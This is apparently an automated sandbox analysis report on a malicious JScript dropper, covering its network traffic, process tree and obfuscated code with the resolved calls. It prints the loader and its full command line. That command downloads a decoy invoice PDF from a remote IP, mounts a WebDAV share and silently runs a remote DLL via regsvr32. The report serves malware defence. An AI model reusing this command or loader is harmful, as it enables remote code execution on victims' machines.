Jan 10, 2025 23:32:12.269731998 CET	1.1.1.1	192.168.2.9	0xa9ce	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:32:12.269731998 CET	1.1.1.1	192.168.2.9	0xa9ce	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:33:16.781630993 CET	1.1.1.1	192.168.2.9	0x5dd3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:33:16.781630993 CET	1.1.1.1	192.168.2.9	0x5dd3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:33:28.992657900 CET	1.1.1.1	192.168.2.9	0x5d68	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:33:28.992657900 CET	1.1.1.1	192.168.2.9	0x5d68	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:33:53.055421114 CET	1.1.1.1	192.168.2.9	0xc716	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:33:53.055421114 CET	1.1.1.1	192.168.2.9	0xc716	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	193.143.1.205	80	7744	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:32:01.597590923 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:32:02.366590977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:32:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:32:02.366617918 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:32:02.366631031 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:32:02.366642952 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 23:32:02.366656065 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 23:32:02.366672993 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 23:32:02.366692066 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 23:32:02.366703987 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 23:32:02.366712093 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 23:32:02.366729975 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 23:32:02.409519911 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49707	193.143.1.205	8888	7976	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:32:03.993901014 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:32:04.790271044 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:32:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:31:58
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js"
Imagebase:	0x7ff626a10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:31:58
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll
Imagebase:	0x7ff751d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:31:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:31:58
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:32:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:32:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff751d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:32:03
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff671270000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:32:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:32:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:32:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,17250070332072236360,9666019462603494126,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function spfulez() {	spfulez() ➔ undefined
1	kwlfsewrn = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uwpvmtk = this[aleafugo + zprcfka + vqdyaim + ttrqzb + vxcwlsks + yhrjenq + elbveuez + hzrxaz] ( this[cvxzp + wztpj + efaeftfl + vqdyaim + gouqhd + aleafugo + hzrxaz][paicgmmb + vqdyaim + vxcwlsks + zprcfka + hzrxaz + vxcwlsks + qfkjhyq + otgixoq + yinclr + vxcwlsks + efaeftfl + hzrxaz] ( cvxzp + wztpj + efaeftfl + vqdyaim + gouqhd + aleafugo + hzrxaz + bmwoq + wztpj + jumfsocj + vxcwlsks + asgaubt + asgaubt ) [bwvny + vxcwlsks + neybtif + bwvny + vxcwlsks + zprcfka + fwbocfu] ( ssybma + islymkfmb + kwmecf + sxxwpdff + lmjjge + paicgmmb + aupulkypr + bwvny + bwvny + kwmecf + xixab + wyyada + lmjjge + aupulkypr + wztpj + kwmecf + bwvny + vpftcqg + paicgmmb + clhntyp + elbveuez + hzrxaz + vqdyaim + clhntyp + asgaubt + jalyyytu + jfxcdmil + zprcfka + elbveuez + vxcwlsks + asgaubt + vpftcqg + yhrjenq + elbveuez + hzrxaz + vxcwlsks + vqdyaim + elbveuez + zprcfka + hzrxaz + gouqhd + clhntyp + elbveuez + zprcfka + asgaubt + vpftcqg + gnizczk + clhntyp + efaeftfl + zprcfka + asgaubt + vxcwlsks ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( exfslobtl = 0 ; exfslobtl < kwlfsewrn[asgaubt + vxcwlsks + elbveuez + neybtif + hzrxaz + jumfsocj] ; ++ exfslobtl )
4	{
5	if ( uwpvmtk == kwlfsewrn[exfslobtl] )
6	{
7	uwpvmtk = true;
8	break ;
9	}
10	}
11	if ( uwpvmtk !== true )
12	this[cvxzp + wztpj + efaeftfl + vqdyaim + gouqhd + aleafugo + hzrxaz][ykommhc + tynco + gouqhd + hzrxaz] ( );
13	this[cvxzp + wztpj + efaeftfl + vqdyaim + gouqhd + aleafugo + hzrxaz][paicgmmb + vqdyaim + vxcwlsks + zprcfka + hzrxaz + vxcwlsks + qfkjhyq + otgixoq + yinclr + vxcwlsks + efaeftfl + hzrxaz] ( cvxzp + wztpj + efaeftfl + vqdyaim + gouqhd + aleafugo + hzrxaz + bmwoq + wztpj + jumfsocj + vxcwlsks + asgaubt + asgaubt ) [vqdyaim + tynco + elbveuez] ( efaeftfl + zrwmfrjsx + fwbocfu + jalyyytu + rdrkr + efaeftfl + jalyyytu + aleafugo + clhntyp + fbmspx + vxcwlsks + vqdyaim + ttrqzb + jumfsocj + vxcwlsks + asgaubt + asgaubt + bmwoq + vxcwlsks + djcxulzf + vxcwlsks + jalyyytu + hleop + paicgmmb + clhntyp + zrwmfrjsx + zrwmfrjsx + zprcfka + elbveuez + fwbocfu + jalyyytu + aybjgaion + yhrjenq + elbveuez + nkwlpnrkz + clhntyp + suanb + vxcwlsks + hleop + cvxzp + vxcwlsks + otgixoq + bwvny + vxcwlsks + aulltolg + tynco + vxcwlsks + ttrqzb + hzrxaz + jalyyytu + hleop + qfkjhyq + tynco + hzrxaz + ovyrty + gouqhd + asgaubt + vxcwlsks + jalyyytu + orqma + hzrxaz + vxcwlsks + zrwmfrjsx + aleafugo + orqma + vpftcqg + gouqhd + elbveuez + nkwlpnrkz + clhntyp + gouqhd + efaeftfl + vxcwlsks + bmwoq + aleafugo + fwbocfu + hcyyipqz + jalyyytu + jumfsocj + hzrxaz + hzrxaz + aleafugo + fqhtk + rdrkr + rdrkr + vnkqd + mbjsjxzv + vlvocfqxx + bmwoq + vnkqd + ymxyk + vlvocfqxx + bmwoq + vnkqd + bmwoq + bxpsc + hmxuntbf + ayuuxqh + rdrkr + gouqhd + elbveuez + nkwlpnrkz + clhntyp + gouqhd + efaeftfl + vxcwlsks + bmwoq + aleafugo + jumfsocj + aleafugo + aybjgaion + nkdxx + nkdxx + ttrqzb + hzrxaz + zprcfka + vqdyaim + hzrxaz + jalyyytu + orqma + hzrxaz + vxcwlsks + zrwmfrjsx + aleafugo + orqma + vpftcqg + gouqhd + elbveuez + nkwlpnrkz + clhntyp + gouqhd + efaeftfl + vxcwlsks + bmwoq + aleafugo + fwbocfu + hcyyipqz + nkdxx + nkdxx + efaeftfl + zrwmfrjsx + fwbocfu + jalyyytu + rdrkr + efaeftfl + jalyyytu + elbveuez + vxcwlsks + hzrxaz + jalyyytu + tynco + ttrqzb + vxcwlsks + jalyyytu + vpftcqg + vpftcqg + vnkqd + mbjsjxzv + vlvocfqxx + bmwoq + vnkqd + ymxyk + vlvocfqxx + bmwoq + vnkqd + bmwoq + bxpsc + hmxuntbf + ayuuxqh + cgjal + oekfng + oekfng + oekfng + oekfng + vpftcqg + fwbocfu + zprcfka + nkwlpnrkz + fbmspx + fbmspx + fbmspx + vqdyaim + clhntyp + clhntyp + hzrxaz + vpftcqg + nkdxx + nkdxx + efaeftfl + zrwmfrjsx + fwbocfu + jalyyytu + rdrkr + efaeftfl + jalyyytu + vqdyaim + vxcwlsks + neybtif + ttrqzb + nkwlpnrkz + vqdyaim + vlvocfqxx + bxpsc + jalyyytu + rdrkr + ttrqzb + jalyyytu + vpftcqg + vpftcqg + vnkqd + mbjsjxzv + vlvocfqxx + bmwoq + vnkqd + ymxyk + vlvocfqxx + bmwoq + vnkqd + bmwoq + bxpsc + hmxuntbf + ayuuxqh + cgjal + oekfng + oekfng + oekfng + oekfng + vpftcqg + fwbocfu + zprcfka + nkwlpnrkz + fbmspx + fbmspx + fbmspx + vqdyaim + clhntyp + clhntyp + hzrxaz + vpftcqg + vnkqd + mbjsjxzv + oekfng + ayuuxqh + vnkqd + bxpsc + lwkzg + oekfng + ymxyk + ayuuxqh + bxpsc + urneenus + vnkqd + ayuuxqh + bmwoq + fwbocfu + asgaubt + asgaubt, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll",0,false) ➔ 0
14	}
15	hcyyipqz = "Z";
16	hcyyipqz = "M";
17	hcyyipqz = "w";
18	hcyyipqz = "m";
19	hcyyipqz = "z";
20	hcyyipqz = "y";
21	hcyyipqz = "n";
22	hcyyipqz = "i";
23	hcyyipqz = "s";
24	hcyyipqz = "l";
25	hcyyipqz = "z";
26	hcyyipqz = "k";
27	hcyyipqz = "k";
28	hcyyipqz = "g";
29	hcyyipqz = "z";
30	hcyyipqz = "J";
31	hcyyipqz = "P";
32	hcyyipqz = "N";
33	hcyyipqz = "y";
34	hcyyipqz = "l";
35	hcyyipqz = "S";
36	hcyyipqz = "e";
37	hcyyipqz = "C";
38	hcyyipqz = "v";
39	hcyyipqz = "f";
40	lwkzg = "g";
41	lwkzg = "p";
42	lwkzg = "L";
43	lwkzg = "K";
44	lwkzg = "A";
45	lwkzg = "j";
46	lwkzg = "b";
47	lwkzg = "z";
48	lwkzg = "G";
49	lwkzg = "J";
50	lwkzg = "R";
51	lwkzg = "c";
52	lwkzg = "q";
53	lwkzg = "e";
54	lwkzg = "p";
55	lwkzg = "p";
56	lwkzg = "c";
57	lwkzg = "O";
58	lwkzg = "X";
59	lwkzg = "o";
60	lwkzg = "h";
61	lwkzg = "o";
62	lwkzg = "M";
63	lwkzg = "o";
64	lwkzg = "Y";
65	lwkzg = "o";
66	lwkzg = "7";
67	sxxwpdff = "J";
68	sxxwpdff = "V";
69	sxxwpdff = "R";
70	sxxwpdff = "m";
71	sxxwpdff = "c";
72	sxxwpdff = "q";
73	sxxwpdff = "o";
74	sxxwpdff = "i";
75	sxxwpdff = "s";
76	sxxwpdff = "y";
77	sxxwpdff = "s";
78	sxxwpdff = "s";
79	sxxwpdff = "R";
80	sxxwpdff = "i";
81	sxxwpdff = "R";
82	sxxwpdff = "i";
83	sxxwpdff = "Z";
84	sxxwpdff = "y";
85	sxxwpdff = "p";
86	sxxwpdff = "Y";
87	yinclr = "q";
88	yinclr = "o";
89	yinclr = "O";
90	yinclr = "f";
91	yinclr = "u";
92	yinclr = "j";
93	yinclr = "W";
94	yinclr = "L";
95	yinclr = "N";
96	yinclr = "g";
97	yinclr = "Y";
98	yinclr = "U";
99	yinclr = "l";
100	yinclr = "j";
101	gnizczk = "F";
102	gnizczk = "N";
103	gnizczk = "e";
104	gnizczk = "q";
105	gnizczk = "A";
106	gnizczk = "V";
107	gnizczk = "P";
108	gnizczk = "h";
109	gnizczk = "L";
110	zprcfka = "A";
111	zprcfka = "u";
112	zprcfka = "b";
113	zprcfka = "v";
114	zprcfka = "k";
115	zprcfka = "c";
116	zprcfka = "t";
117	zprcfka = "B";
118	zprcfka = "l";
119	zprcfka = "s";
120	zprcfka = "r";
121	zprcfka = "P";
122	zprcfka = "C";
123	zprcfka = "T";
124	zprcfka = "t";
125	zprcfka = "s";
126	zprcfka = "a";
127	zprcfka = "e";
128	zprcfka = "w";
129	zprcfka = "E";
130	zprcfka = "t";
131	zprcfka = "v";
132	zprcfka = "Z";
133	zprcfka = "R";
134	zprcfka = "F";
135	zprcfka = "O";
136	zprcfka = "m";
137	zprcfka = "Z";
138	zprcfka = "a";
139	qfkjhyq = "J";
140	qfkjhyq = "w";
141	qfkjhyq = "s";
142	qfkjhyq = "H";
143	qfkjhyq = "g";
144	qfkjhyq = "g";
145	qfkjhyq = "V";
146	qfkjhyq = "M";
147	qfkjhyq = "Y";
148	qfkjhyq = "D";
149	qfkjhyq = "i";
150	qfkjhyq = "a";
151	qfkjhyq = "v";
152	qfkjhyq = "X";
153	qfkjhyq = "V";
154	qfkjhyq = "O";
155	zrwmfrjsx = "q";
156	zrwmfrjsx = "h";
157	zrwmfrjsx = "H";
158	zrwmfrjsx = "j";
159	zrwmfrjsx = "m";
160	zrwmfrjsx = "Y";
161	zrwmfrjsx = "L";
162	zrwmfrjsx = "R";
163	zrwmfrjsx = "T";
164	zrwmfrjsx = "e";
165	zrwmfrjsx = "m";
166	zrwmfrjsx = "u";
167	zrwmfrjsx = "v";
168	zrwmfrjsx = "h";
169	zrwmfrjsx = "y";
170	zrwmfrjsx = "K";
171	zrwmfrjsx = "A";
172	zrwmfrjsx = "J";
173	zrwmfrjsx = "I";
174	zrwmfrjsx = "R";
175	zrwmfrjsx = "w";
176	zrwmfrjsx = "M";
177	zrwmfrjsx = "j";
178	zrwmfrjsx = "i";
179	zrwmfrjsx = "g";
180	zrwmfrjsx = "D";
181	zrwmfrjsx = "R";
182	zrwmfrjsx = "o";
183	zrwmfrjsx = "m";
184	vxcwlsks = "u";
185	vxcwlsks = "P";
186	vxcwlsks = "o";
187	vxcwlsks = "e";
188	vxcwlsks = "I";
189	vxcwlsks = "V";
190	vxcwlsks = "e";
191	vxcwlsks = "B";
192	vxcwlsks = "e";
193	kwmecf = "t";
194	kwmecf = "I";
195	kwmecf = "x";
196	kwmecf = "U";
197	kwmecf = "Q";
198	kwmecf = "p";
199	kwmecf = "Y";
200	kwmecf = "N";
201	kwmecf = "S";
202	kwmecf = "z";
203	kwmecf = "A";
204	kwmecf = "I";
205	kwmecf = "s";
206	kwmecf = "m";
207	kwmecf = "S";
208	kwmecf = "I";
209	kwmecf = "f";
210	kwmecf = "M";
211	kwmecf = "B";
212	kwmecf = "z";
213	kwmecf = "z";
214	kwmecf = "k";
215	kwmecf = "e";
216	kwmecf = "N";
217	kwmecf = "k";
218	kwmecf = "E";
219	urneenus = "O";
220	urneenus = "U";
